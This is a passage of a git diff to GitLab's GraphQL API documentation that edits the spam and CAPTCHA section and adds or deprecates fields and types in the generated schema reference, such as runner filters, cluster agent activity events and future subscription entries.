certain arguments may also increase the complexity of a query.
NOTE:
The complexity limits may be revised in future, and additionally, the complexity
of a query may be altered.
-### Request timeout
-
-Requests time out at 30 seconds.
-
-### Spam
+## Spam
GraphQL mutations can be detected as spam. If this happens, a
[GraphQL top-level error](https://spec.graphql.org/June2018/#sec-Errors) is raised. For example:
@@ -208,11 +213,11 @@ GraphQL mutations can be detected as spam. If this happens, a
}
```
-If mutation is detected as potential spam and a CAPTCHA service is configured:
+If a mutation is detected as potential spam and a CAPTCHA service is configured:
-- The `captchaSiteKey` should be used to obtain a CAPTCHA response value using the appropriate CAPTCHA API.
+- Use the `captchaSiteKey` to obtain a CAPTCHA response value using the appropriate CAPTCHA API.
Only [Google reCAPTCHA v2](https://developers.google.com/recaptcha/docs/display) is supported.
-- The request can be resubmitted with the `X-GitLab-Captcha-Response` and `X-GitLab-Spam-Log-Id` headers set.
+- Resubmit the request with the `X-GitLab-Captcha-Response` and `X-GitLab-Spam-Log-Id` headers set.
```json
{
@@ -235,17 +240,3 @@ If mutation is detected as potential spam and a CAPTCHA service is configured:
}
}
```
-
-## Reference
-
-The GitLab GraphQL reference [is available](reference/index.md).
-
-It is automatically generated from the GitLab GraphQL schema and embedded in a Markdown file.
-
-## Generate updates for documentation
-
-If you've changed the GraphQL schema, you should set up an MR to gain approval of your changes.
-To generate the required documentation and schema, follow the instructions given in the
-[Rake tasks for developers](../../development/rake_tasks.md#update-graphql-documentation-and-schema-definitions) page.
-
-Be sure to run these commands using the [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit/).
diff --git a/doc/api/graphql/reference/index.md b/doc/api/graphql/reference/index.md
index 905b6d418a9..123e65162d8 100644
--- a/doc/api/graphql/reference/index.md
+++ b/doc/api/graphql/reference/index.md
@@ -370,6 +370,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="queryrunnersactive"></a>`active` | [`Boolean`](#boolean) | Filter runners by active (true) or paused (false) status. |
| <a id="queryrunnerssearch"></a>`search` | [`String`](#string) | Filter by full token or partial text in description field. |
| <a id="queryrunnerssort"></a>`sort` | [`CiRunnerSort`](#cirunnersort) | Sort order of results. |
| <a id="queryrunnersstatus"></a>`status` | [`CiRunnerStatus`](#cirunnerstatus) | Filter runners by status. |
@@ -397,6 +398,16 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="querysnippetstype"></a>`type` | [`TypeEnum`](#typeenum) | Type of snippet. |
| <a id="querysnippetsvisibility"></a>`visibility` | [`VisibilityScopesEnum`](#visibilityscopesenum) | Visibility of the snippet. |
+### `Query.subscriptionFutureEntries`
+
+Fields related to entries in future subscriptions.
+
+Returns [`SubscriptionFutureEntryConnection`](#subscriptionfutureentryconnection).
+
+This field returns a [connection](#connections). It accepts the
+four standard [pagination arguments](#connection-pagination-arguments):
+`before: String`, `after: String`, `first: Int`, `last: Int`.
+
### `Query.timelogs`
Find timelogs visible to the current user.
@@ -500,6 +511,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="queryvulnerabilitiesclusteragentid"></a>`clusterAgentId` | [`[ClustersAgentID!]`](#clustersagentid) | Filter vulnerabilities by `cluster_agent_id`. Vulnerabilities with a `reportType` of `cluster_image_scanning` are only included with this filter. |
| <a id="queryvulnerabilitiesclusterid"></a>`clusterId` | [`[ClustersClusterID!]`](#clustersclusterid) | Filter vulnerabilities by `cluster_id`. Vulnerabilities with a `reportType` of `cluster_image_scanning` are only included with this filter. |
| <a id="queryvulnerabilitieshasissues"></a>`hasIssues` | [`Boolean`](#boolean) | Returns only the vulnerabilities which have linked issues. |
| <a id="queryvulnerabilitieshasresolution"></a>`hasResolution` | [`Boolean`](#boolean) | Returns only the vulnerabilities which have been resolved on default branch. |
@@ -676,9 +688,9 @@ Input type: `ApiFuzzingCiConfigurationCreateInput`
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="mutationapifuzzingciconfigurationcreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationapifuzzingciconfigurationcreateconfigurationyaml"></a>`configurationYaml` | [`String`](#string) | A YAML snippet that can be inserted into the project's `.gitlab-ci.yml` to set up API fuzzing scans. |
+| <a id="mutationapifuzzingciconfigurationcreateconfigurationyaml"></a>`configurationYaml` **{warning-solid}** | [`String`](#string) | **Deprecated:** The configuration snippet is now generated client-side. Deprecated in 14.6. |
| <a id="mutationapifuzzingciconfigurationcreateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-| <a id="mutationapifuzzingciconfigurationcreategitlabciyamleditpath"></a>`gitlabCiYamlEditPath` | [`String`](#string) | Location at which the project's `.gitlab-ci.yml` file can be edited in the browser. |
+| <a id="mutationapifuzzingciconfigurationcreategitlabciyamleditpath"></a>`gitlabCiYamlEditPath` **{warning-solid}** | [`String`](#string) | **Deprecated:** The configuration snippet is now generated client-side. Deprecated in 14.6. |
### `Mutation.awardEmojiAdd`
@@ -2846,7 +2858,7 @@ Input type: `IssueSetCrmContactsInput`
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="mutationissuesetcrmcontactsclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationissuesetcrmcontactscrmcontactids"></a>`crmContactIds` | [`[CustomerRelationsContactID!]!`](#customerrelationscontactid) | Customer relations contact IDs to set. Replaces existing contacts by default. |
+| <a id="mutationissuesetcrmcontactscontactids"></a>`contactIds` | [`[CustomerRelationsContactID!]!`](#customerrelationscontactid) | Customer relations contact IDs to set. Replaces existing contacts by default. |
| <a id="mutationissuesetcrmcontactsiid"></a>`iid` | [`String!`](#string) | IID of the issue to mutate. |
| <a id="mutationissuesetcrmcontactsoperationmode"></a>`operationMode` | [`MutationOperationMode`](#mutationoperationmode) | Changes the operation mode. Defaults to REPLACE. |
| <a id="mutationissuesetcrmcontactsprojectpath"></a>`projectPath` | [`ID!`](#id) | Project the issue to mutate is in. |
@@ -3757,7 +3769,7 @@ Input type: `ProjectSetComplianceFrameworkInput`
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="mutationprojectsetcomplianceframeworkclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationprojectsetcomplianceframeworkcomplianceframeworkid"></a>`complianceFrameworkId` | [`ComplianceManagementFrameworkID`](#compliancemanagementframeworkid) | ID of the compliance framework to assign to the project. |
+| <a id="mutationprojectsetcomplianceframeworkcomplianceframeworkid"></a>`complianceFrameworkId` | [`ComplianceManagementFrameworkID`](#compliancemanagementframeworkid) | ID of the compliance framework to assign to the project. Set to `null` to unset. |
| <a id="mutationprojectsetcomplianceframeworkprojectid"></a>`projectId` | [`ProjectID!`](#projectid) | ID of the project to change the compliance framework of. |
#### Fields
@@ -5457,6 +5469,30 @@ The edge type for [`CiStage`](#cistage).
| <a id="cistageedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
| <a id="cistageedgenode"></a>`node` | [`CiStage`](#cistage) | The item at the end of the edge. |
+#### `ClusterAgentActivityEventConnection`
+
+The connection type for [`ClusterAgentActivityEvent`](#clusteragentactivityevent).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="clusteragentactivityeventconnectioncount"></a>`count` | [`Int!`](#int) | Total count of collection. |
+| <a id="clusteragentactivityeventconnectionedges"></a>`edges` | [`[ClusterAgentActivityEventEdge]`](#clusteragentactivityeventedge) | A list of edges. |
+| <a id="clusteragentactivityeventconnectionnodes"></a>`nodes` | [`[ClusterAgentActivityEvent]`](#clusteragentactivityevent) | A list of nodes. |
+| <a id="clusteragentactivityeventconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+#### `ClusterAgentActivityEventEdge`
+
+The edge type for [`ClusterAgentActivityEvent`](#clusteragentactivityevent).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="clusteragentactivityeventedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| <a id="clusteragentactivityeventedgenode"></a>`node` | [`ClusterAgentActivityEvent`](#clusteragentactivityevent) | The item at the end of the edge. |
+
#### `ClusterAgentConnection`
The connection type for [`ClusterAgent`](#clusteragent).
@@ -5767,6 +5803,7 @@ The connection type for [`DastProfile`](#dastprofile).
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="dastprofileconnectioncount"></a>`count` | [`Int!`](#int) | Total count of collection. |
| <a id="dastprofileconnectionedges"></a>`edges` | [`[DastProfileEdge]`](#dastprofileedge) | A list of edges. |
| <a id="dastprofileconnectionnodes"></a>`nodes` | [`[DastProfile]`](#dastprofile) | A list of nodes. |
| <a id="dastprofileconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
@@ -6476,6 +6513,29 @@ The edge type for [`JiraProject`](#jiraproject).
| <a id="jiraprojectedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
| <a id="jiraprojectedgenode"></a>`node` | [`JiraProject`](#jiraproject) | The item at the end of the edge. |
+#### `JobNeedUnionConnection`
+
+The connection type for [`JobNeedUnion`](#jobneedunion).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="jobneedunionconnectionedges"></a>`edges` | [`[JobNeedUnionEdge]`](#jobneedunionedge) | A list of edges. |
+| <a id="jobneedunionconnectionnodes"></a>`nodes` | [`[JobNeedUnion]`](#jobneedunion) | A list of nodes. |
+| <a id="jobneedunionconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+#### `JobNeedUnionEdge`
+
+The edge type for [`JobNeedUnion`](#jobneedunion).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="jobneedunionedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| <a id="jobneedunionedgenode"></a>`node` | [`JobNeedUnion`](#jobneedunion) | The item at the end of the edge. |
+
#### `LabelConnection`
The connection type for [`Label`](#label).
@@ -7540,6 +7600,29 @@ The edge type for [`Submodule`](#submodule).
| <a id="submoduleedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
| <a id="submoduleedgenode"></a>`node` | [`Submodule`](#submodule) | The item at the end of the edge. |
+#### `SubscriptionFutureEntryConnection`
+
+The connection type for [`SubscriptionFutureEntry`](#subscriptionfutureentry).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="subscriptionfutureentryconnectionedges"></a>`edges` | [`[SubscriptionFutureEntryEdge]`](#subscriptionfutureentryedge) | A list of edges. |
+| <a id="subscriptionfutureentryconnectionnodes"></a>`nodes` | [`[SubscriptionFutureEntry]`](#subscriptionfutureentry) | A list of nodes. |
+| <a id="subscriptionfutureentryconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+#### `SubscriptionFutureEntryEdge`
+
+The edge type for [`SubscriptionFutureEntry`](#subscriptionfutureentry).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="subscriptionfutureentryedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| <a id="subscriptionfutureentryedgenode"></a>`node` | [`SubscriptionFutureEntry`](#subscriptionfutureentry) | The item at the end of the edge. |
+
#### `TerraformStateConnection`
The connection type for [`TerraformState`](#terraformstate).
@@ -8339,6 +8422,7 @@ Represents an epic on an issue board.
| <a id="boardepicdownvotes"></a>`downvotes` | [`Int!`](#int) | Number of downvotes the epic has received. |
| <a id="boardepicduedate"></a>`dueDate` | [`Time`](#time) | Due date of the epic. |
| <a id="boardepicduedatefixed"></a>`dueDateFixed` | [`Time`](#time) | Fixed due date of the epic. |
+| <a id="boardepicduedatefrominheritedsource"></a>`dueDateFromInheritedSource` | [`Time`](#time) | Inherited due date of the epic from child epics or milestones. |
| <a id="boardepicduedatefrommilestones"></a>`dueDateFromMilestones` | [`Time`](#time) | Inherited due date of the epic from milestones. |
| <a id="boardepicduedateisfixed"></a>`dueDateIsFixed` | [`Boolean`](#boolean) | Indicates if the due date has been manually set. |
| <a id="boardepicevents"></a>`events` | [`EventConnection`](#eventconnection) | List of events associated with the object. (see [Connections](#connections)) |
@@ -8358,6 +8442,7 @@ Represents an epic on an issue board.
| <a id="boardepicrelativeposition"></a>`relativePosition` | [`Int`](#int) | Relative position of the epic in the epic tree. |
| <a id="boardepicstartdate"></a>`startDate` | [`Time`](#time) | Start date of the epic. |
| <a id="boardepicstartdatefixed"></a>`startDateFixed` | [`Time`](#time) | Fixed start date of the epic. |
+| <a id="boardepicstartdatefrominheritedsource"></a>`startDateFromInheritedSource` | [`Time`](#time) | Inherited start date of the epic from child epics or milestones. |
| <a id="boardepicstartdatefrommilestones"></a>`startDateFromMilestones` | [`Time`](#time) | Inherited start date of the epic from milestones. |
| <a id="boardepicstartdateisfixed"></a>`startDateIsFixed` | [`Boolean`](#boolean) | Indicates if the start date has been manually set. |
| <a id="boardepicstate"></a>`state` | [`EpicState!`](#epicstate) | State of the epic. |
@@ -8557,7 +8642,7 @@ Represents the total number of issues and their weights for a particular day.
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="cibuildneedid"></a>`id` | [`ID!`](#id) | ID of the job we need to complete. |
+| <a id="cibuildneedid"></a>`id` | [`ID!`](#id) | ID of the BuildNeed. |
| <a id="cibuildneedname"></a>`name` | [`String`](#string) | Name of the job we need to complete. |
### `CiConfig`
@@ -8661,6 +8746,7 @@ Represents the total number of issues and their weights for a particular day.
| <a id="cijobneeds"></a>`needs` | [`CiBuildNeedConnection`](#cibuildneedconnection) | References to builds that must complete before the jobs run. (see [Connections](#connections)) |
| <a id="cijobpipeline"></a>`pipeline` | [`Pipeline`](#pipeline) | Pipeline the job belongs to. |
| <a id="cijobplayable"></a>`playable` | [`Boolean!`](#boolean) | Indicates the job can be played. |
+| <a id="cijobpreviousstagejobsorneeds"></a>`previousStageJobsOrNeeds` | [`JobNeedUnionConnection`](#jobneedunionconnection) | Jobs that must complete before the job runs. Returns `BuildNeed`, which is the needed jobs if the job uses the `needs` keyword, or the previous stage jobs otherwise. (see [Connections](#connections)) |
| <a id="cijobqueuedat"></a>`queuedAt` | [`Time`](#time) | When the job was enqueued and marked as pending. |
| <a id="cijobqueuedduration"></a>`queuedDuration` | [`Duration`](#duration) | How long the job was enqueued before starting. |
| <a id="cijobrefname"></a>`refName` | [`String`](#string) | Ref name of the job. |
@@ -8723,7 +8809,7 @@ Represents the total number of issues and their weights for a particular day.
| ---- | ---- | ----------- |
| <a id="cirunneraccesslevel"></a>`accessLevel` | [`CiRunnerAccessLevel!`](#cirunneraccesslevel) | Access level of the runner. |
| <a id="cirunneractive"></a>`active` | [`Boolean!`](#boolean) | Indicates the runner is allowed to receive jobs. |
-| <a id="cirunneradminurl"></a>`adminUrl` | [`String`](#string) | Admin URL of the runner. Only available for adminstrators. |
+| <a id="cirunneradminurl"></a>`adminUrl` | [`String`](#string) | Admin URL of the runner. Only available for administrators. |
| <a id="cirunnercontactedat"></a>`contactedAt` | [`Time`](#time) | Last contact from the runner. |
| <a id="cirunnerdescription"></a>`description` | [`String`](#string) | Description of the runner. |
| <a id="cirunnerid"></a>`id` | [`CiRunnerID!`](#cirunnerid) | ID of the runner. |
@@ -8738,11 +8824,24 @@ Represents the total number of issues and their weights for a particular day.
| <a id="cirunnerrununtagged"></a>`runUntagged` | [`Boolean!`](#boolean) | Indicates the runner is able to run untagged jobs. |
| <a id="cirunnerrunnertype"></a>`runnerType` | [`CiRunnerType!`](#cirunnertype) | Type of the runner. |
| <a id="cirunnershortsha"></a>`shortSha` | [`String`](#string) | First eight characters of the runner's token used to authenticate new job requests. Used as the runner's unique ID. |
-| <a id="cirunnerstatus"></a>`status` | [`CiRunnerStatus!`](#cirunnerstatus) | Status of the runner. |
| <a id="cirunnertaglist"></a>`tagList` | [`[String!]`](#string) | Tags associated with the runner. |
| <a id="cirunneruserpermissions"></a>`userPermissions` | [`RunnerPermissions!`](#runnerpermissions) | Permissions for the current user on the resource. |
| <a id="cirunnerversion"></a>`version` | [`String`](#string) | Version of the runner. |
+#### Fields with arguments
+
+##### `CiRunner.status`
+
+Status of the runner.
+
+Returns [`CiRunnerStatus!`](#cirunnerstatus).
+
+###### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="cirunnerstatuslegacymode"></a>`legacyMode` **{warning-solid}** | [`String`](#string) | **Deprecated** in 14.6. Will be removed in 15.0. From that release onward, the field will behave as if legacyMode is null. |
+
### `CiStage`
#### Fields
@@ -8773,6 +8872,7 @@ GitLab CI/CD configuration template.
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="clusteragentactivityevents"></a>`activityEvents` | [`ClusterAgentActivityEventConnection`](#clusteragentactivityeventconnection) | Recent activity for the cluster agent. (see [Connections](#connections)) |
| <a id="clusteragentconnections"></a>`connections` | [`ConnectedAgentConnection`](#connectedagentconnection) | Active connections for the cluster agent. (see [Connections](#connections)) |
| <a id="clusteragentcreatedat"></a>`createdAt` | [`Time`](#time) | Timestamp the cluster agent was created. |
| <a id="clusteragentcreatedbyuser"></a>`createdByUser` | [`UserCore`](#usercore) | User object, containing information about the person who created the agent. |
@@ -8783,6 +8883,18 @@ GitLab CI/CD configuration template.
| <a id="clusteragentupdatedat"></a>`updatedAt` | [`Time`](#time) | Timestamp the cluster agent was updated. |
| <a id="clusteragentwebpath"></a>`webPath` | [`String`](#string) | Web path of the cluster agent. |
+### `ClusterAgentActivityEvent`
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="clusteragentactivityeventagenttoken"></a>`agentToken` | [`ClusterAgentToken`](#clusteragenttoken) | Agent token associated with the event. |
+| <a id="clusteragentactivityeventkind"></a>`kind` | [`String`](#string) | Type of event. |
+| <a id="clusteragentactivityeventlevel"></a>`level` | [`String`](#string) | Severity of the event. |
+| <a id="clusteragentactivityeventrecordedat"></a>`recordedAt` | [`Time`](#time) | Timestamp the event was recorded. |
+| <a id="clusteragentactivityeventuser"></a>`user` | [`UserCore`](#usercore) | User associated with the event. |
+
### `ClusterAgentToken`
#### Fields
@@ -9008,10 +9120,28 @@ Details of a container repository.
| <a id="containerrepositorydetailspath"></a>`path` | [`String!`](#string) | Path of the container repository. |
| <a id="containerrepositorydetailsproject"></a>`project` | [`Project!`](#project) | Project of the container registry. |
| <a id="containerrepositorydetailsstatus"></a>`status` | [`ContainerRepositoryStatus`](#containerrepositorystatus) | Status of the container repository. |
-| <a id="containerrepositorydetailstags"></a>`tags` | [`ContainerRepositoryTagConnection`](#containerrepositorytagconnection) | Tags of the container repository. (see [Connections](#connections)) |
| <a id="containerrepositorydetailstagscount"></a>`tagsCount` | [`Int!`](#int) | Number of tags associated with this image. |
| <a id="containerrepositorydetailsupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp when the container repository was updated. |
+#### Fields with arguments
+
+##### `ContainerRepositoryDetails.tags`
+
+Tags of the container repository.
+
+Returns [`ContainerRepositoryTagConnection`](#containerrepositorytagconnection).
+
+This field returns a [connection](#connections). It accepts the
+four standard [pagination arguments](#connection-pagination-arguments):
+`before: String`, `after: String`, `first: Int`, `last: Int`.
+
+###### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="containerrepositorydetailstagsname"></a>`name` | [`String`](#string) | Search by tag name. |
+| <a id="containerrepositorydetailstagssort"></a>`sort` | [`ContainerRepositoryTagSort`](#containerrepositorytagsort) | Sort tags by these criteria. |
+
### `ContainerRepositoryTag`
A tag from a container repository.
@@ -9765,6 +9895,7 @@ Represents an epic.
| <a id="epicdownvotes"></a>`downvotes` | [`Int!`](#int) | Number of downvotes the epic has received. |
| <a id="epicduedate"></a>`dueDate` | [`Time`](#time) | Due date of the epic. |
| <a id="epicduedatefixed"></a>`dueDateFixed` | [`Time`](#time) | Fixed due date of the epic. |
+| <a id="epicduedatefrominheritedsource"></a>`dueDateFromInheritedSource` | [`Time`](#time) | Inherited due date of the epic from child epics or milestones. |
| <a id="epicduedatefrommilestones"></a>`dueDateFromMilestones` | [`Time`](#time) | Inherited due date of the epic from milestones. |
| <a id="epicduedateisfixed"></a>`dueDateIsFixed` | [`Boolean`](#boolean) | Indicates if the due date has been manually set. |
| <a id="epicevents"></a>`events` | [`EventConnection`](#eventconnection) | List of events associated with the object. (see [Connections](#connections)) |
@@ -9784,6 +9915,7 @@ Represents an epic.
| <a id="epicrelativeposition"></a>`relativePosition` | [`Int`](#int) | Relative position of the epic in the epic tree. |
| <a id="epicstartdate"></a>`startDate` | [`Time`](#time) | Start date of the epic. |
| <a id="epicstartdatefixed"></a>`startDateFixed` | [`Time`](#time) | Fixed start date of the epic. |
+| <a id="epicstartdatefrominheritedsource"></a>`startDateFromInheritedSource` | [`Time`](#time) | Inherited start date of the epic from child epics or milestones. |
| <a id="epicstartdatefrommilestones"></a>`startDateFromMilestones` | [`Time`](#time) | Inherited start date of the epic from milestones. |
| <a id="epicstartdateisfixed"></a>`startDateIsFixed` | [`Boolean`](#boolean) | Indicates if the start date has been manually set. |
| <a id="epicstate"></a>`state` | [`EpicState!`](#epicstate) | State of the epic. |
@@ -10843,6 +10975,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="grouprunnersactive"></a>`active` | [`Boolean`](#boolean) | Filter runners by active (true) or paused (false) status. |
| <a id="grouprunnersmembership"></a>`membership` | [`RunnerMembershipFilter`](#runnermembershipfilter) | Control which runners to include in the results. |
| <a id="grouprunnerssearch"></a>`search` | [`String`](#string) | Filter by full token or partial text in description field. |
| <a id="grouprunnerssort"></a>`sort` | [`CiRunnerSort`](#cirunnersort) | Sort order of results. |
@@ -10886,6 +11019,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="groupvulnerabilitiesclusteragentid"></a>`clusterAgentId` | [`[ClustersAgentID!]`](#clustersagentid) | Filter vulnerabilities by `cluster_agent_id`. Vulnerabilities with a `reportType` of `cluster_image_scanning` are only included with this filter. |
| <a id="groupvulnerabilitiesclusterid"></a>`clusterId` | [`[ClustersClusterID!]`](#clustersclusterid) | Filter vulnerabilities by `cluster_id`. Vulnerabilities with a `reportType` of `cluster_image_scanning` are only included with this filter. |
| <a id="groupvulnerabilitieshasissues"></a>`hasIssues` | [`Boolean`](#boolean) | Returns only the vulnerabilities which have linked issues. |
| <a id="groupvulnerabilitieshasresolution"></a>`hasResolution` | [`Boolean`](#boolean) | Returns only the vulnerabilities which have been resolved on default branch. |
@@ -12388,7 +12522,7 @@ Represents a package in the Package Registry. Note that this type is in beta and
| <a id="packagemetadata"></a>`metadata` | [`PackageMetadata`](#packagemetadata) | Package metadata. |
| <a id="packagename"></a>`name` | [`String!`](#string) | Name of the package. |
| <a id="packagepackagetype"></a>`packageType` | [`PackageTypeEnum!`](#packagetypeenum) | Package type. |
-| <a id="packagepipelines"></a>`pipelines` | [`PipelineConnection`](#pipelineconnection) | Pipelines that built the package. (see [Connections](#connections)) |
+| <a id="packagepipelines"></a>`pipelines` **{warning-solid}** | [`PipelineConnection`](#pipelineconnection) | **Deprecated** in 14.6. Due to scalability concerns, this field is going to be removed. |
| <a id="packageproject"></a>`project` | [`Project!`](#project) | Project where the package is stored. |
| <a id="packagestatus"></a>`status` | [`PackageStatus!`](#packagestatus) | Package status. |
| <a id="packagetags"></a>`tags` | [`PackageTagConnection`](#packagetagconnection) | Package tags. (see [Connections](#connections)) |
@@ -12450,7 +12584,7 @@ Represents a package details in the Package Registry. Note that this type is in
| <a id="packagedetailstypename"></a>`name` | [`String!`](#string) | Name of the package. |
| <a id="packagedetailstypepackagefiles"></a>`packageFiles` | [`PackageFileConnection`](#packagefileconnection) | Package files. (see [Connections](#connections)) |
| <a id="packagedetailstypepackagetype"></a>`packageType` | [`PackageTypeEnum!`](#packagetypeenum) | Package type. |
-| <a id="packagedetailstypepipelines"></a>`pipelines` | [`PipelineConnection`](#pipelineconnection) | Pipelines that built the package. (see [Connections](#connections)) |
+| <a id="packagedetailstypepipelines"></a>`pipelines` **{warning-solid}** | [`PipelineConnection`](#pipelineconnection) | **Deprecated** in 14.6. Due to scalability concerns, this field is going to be removed. |
| <a id="packagedetailstypeproject"></a>`project` | [`Project!`](#project) | Project where the package is stored. |
| <a id="packagedetailstypestatus"></a>`status` | [`PackageStatus!`](#packagestatus) | Package status. |
| <a id="packagedetailstypetags"></a>`tags` | [`PackageTagConnection`](#packagetagconnection) | Package tags. (see [Connections](#connections)) |
@@ -12862,6 +12996,7 @@ Represents vulnerability finding of a security report on the pipeline.
| <a id="projectservicedeskenabled"></a>`serviceDeskEnabled` | [`Boolean`](#boolean) | Indicates if the project has service desk enabled. |
| <a id="projectsharedrunnersenabled"></a>`sharedRunnersEnabled` | [`Boolean`](#boolean) | Indicates if shared runners are enabled for the project. |
| <a id="projectsnippetsenabled"></a>`snippetsEnabled` | [`Boolean`](#boolean) | Indicates if Snippets are enabled for the current user. |
+| <a id="projectsquashcommittemplate"></a>`squashCommitTemplate` | [`String`](#string) | Template used to create squash commit message in merge requests. |
| <a id="projectsquashreadonly"></a>`squashReadOnly` | [`Boolean!`](#boolean) | Indicates if `squashReadOnly` is enabled. |
| <a id="projectsshurltorepo"></a>`sshUrlToRepo` | [`String`](#string) | URL to connect to the project via SSH. |
| <a id="projectstarcount"></a>`starCount` | [`Int!`](#int) | Number of times the project has been starred. |
@@ -13602,7 +13737,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="projectscanexecutionpoliciesactionscantypes"></a>`actionScanTypes` | [`[SecurityReportTypeEnum!]`](#securityreporttypeenum) | Filters policies by the action scan type. Only these scan types are supported: `dast`, `secret_detection`, `cluster_image_scanning`, `container_scanning`. |
+| <a id="projectscanexecutionpoliciesactionscantypes"></a>`actionScanTypes` | [`[SecurityReportTypeEnum!]`](#securityreporttypeenum) | Filters policies by the action scan type. Only these scan types are supported: `dast`, `secret_detection`, `cluster_image_scanning`, `container_scanning`, `sast`. |
##### `Project.sentryDetailedError`
@@ -13698,6 +13833,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="projectvulnerabilitiesclusteragentid"></a>`clusterAgentId` | [`[ClustersAgentID!]`](#clustersagentid) | Filter vulnerabilities by `cluster_agent_id`. Vulnerabilities with a `reportType` of `cluster_image_scanning` are only included with this filter. |
| <a id="projectvulnerabilitiesclusterid"></a>`clusterId` | [`[ClustersClusterID!]`](#clustersclusterid) | Filter vulnerabilities by `cluster_id`. Vulnerabilities with a `reportType` of `cluster_image_scanning` are only included with this filter. |
| <a id="projectvulnerabilitieshasissues"></a>`hasIssues` | [`Boolean`](#boolean) | Returns only the vulnerabilities which have linked issues. |
| <a id="projectvulnerabilitieshasresolution"></a>`hasResolution` | [`Boolean`](#boolean) | Returns only the vulnerabilities which have been resolved on default branch. |
@@ -14066,7 +14202,9 @@ Returns [`Tree`](#tree).
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="repositoryblobcancurrentuserpushtobranch"></a>`canCurrentUserPushToBranch` | [`Boolean`](#boolean) | Whether the current user can push to the branch. |
| <a id="repositoryblobcanmodifyblob"></a>`canModifyBlob` | [`Boolean`](#boolean) | Whether the current user can modify the blob. |
+| <a id="repositoryblobcodeowners"></a>`codeOwners` | [`[UserCore!]`](#usercore) | List of code owners for the blob. |
| <a id="repositoryblobeditblobpath"></a>`editBlobPath` | [`String`](#string) | Web path to edit the blob in the old-style editor. |
| <a id="repositoryblobexternalstorageurl"></a>`externalStorageUrl` | [`String`](#string) | Web path to download the raw blob via external storage, if enabled. |
| <a id="repositoryblobfiletype"></a>`fileType` | [`String`](#string) | Expected format of the blob based on the extension. |
@@ -14660,6 +14798,23 @@ Represents the Geo sync and verification state of a snippet repository.
| <a id="submoduletype"></a>`type` | [`EntryType!`](#entrytype) | Type of tree entry. |
| <a id="submoduleweburl"></a>`webUrl` | [`String`](#string) | Web URL for the sub-module. |
+### `SubscriptionFutureEntry`
+
+Represents an entry from the future subscriptions.
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="subscriptionfutureentrycompany"></a>`company` | [`String`](#string) | Company of the licensee. |
+| <a id="subscriptionfutureentryemail"></a>`email` | [`String`](#string) | Email of the licensee. |
+| <a id="subscriptionfutureentryexpiresat"></a>`expiresAt` | [`Date`](#date) | Date when the license expires. |
+| <a id="subscriptionfutureentryname"></a>`name` | [`String`](#string) | Name of the licensee. |
+| <a id="subscriptionfutureentryplan"></a>`plan` | [`String!`](#string) | Name of the subscription plan. |
+| <a id="subscriptionfutureentrystartsat"></a>`startsAt` | [`Date`](#date) | Date when the license started. |
+| <a id="subscriptionfutureentrytype"></a>`type` | [`String!`](#string) | Type of license the subscription will yield. |
+| <a id="subscriptionfutureentryusersinlicensecount"></a>`usersInLicenseCount` | [`Int`](#int) | Number of paid user seats. |
+
### `TaskCompletionStatus`
Completion status of tasks.
@@ -15235,6 +15390,7 @@ Represents a vulnerability.
| <a id="vulnerabilityconfirmedat"></a>`confirmedAt` | [`Time`](#time) | Timestamp of when the vulnerability state was changed to confirmed. |
